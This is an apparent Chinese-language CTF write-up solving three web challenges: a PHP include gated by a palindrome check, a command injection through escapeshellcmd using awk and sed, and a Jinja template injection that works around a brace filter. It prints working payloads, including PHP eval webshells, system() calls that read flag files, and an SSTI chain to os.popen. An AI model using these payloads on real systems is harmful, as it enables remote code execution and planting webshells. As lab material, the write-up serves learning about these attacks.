web签到
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}
要求file反转后和原来一样
用data协议写入
file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('cat /f1agaaa');
easyPHP
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}
cmd=awk¶m={system("ls / >a")}
cmd=awk¶m={system("cat /f1agaaa >a")}
不过这个是非预期解
预期解的话用sed,不太看得懂
cmd=sed¶m=/php\|POST\|exec/!dw1.php
这样就生成了1.php
最后查看可以发现内容为
<?php
$cmd = $_POST['cmd'];
$param = $_POST['param'];
shell_exec($cmd);
然后就是常规的写马
cmd=echo "<?php eval(\$_POST[1]);?>">2.php
我按我的理解说一下payload
用到的sed的三个参数,!
,d
,w
d
:删除某一行
!
:表示后面的命令对所有没有被选定的行发生作用
w
:会将匹配后的结果保存到指定文件中
所以首先匹配到了有php的那行,有post的那行和有exec的那行,然后将除了这几行外的内容全部删除,剩下的匹配的内容写入1.php
姻缘测试
def is_hacker(string):
"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
if "{" in string and "}" in string :
return True
else:
return False
不能同时出现{
和}
输入a和b
所以这里需要分开执行
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat%09/flag.txt').read()}}
想不通这里为啥分开也可以执行,好奇后端是咋写的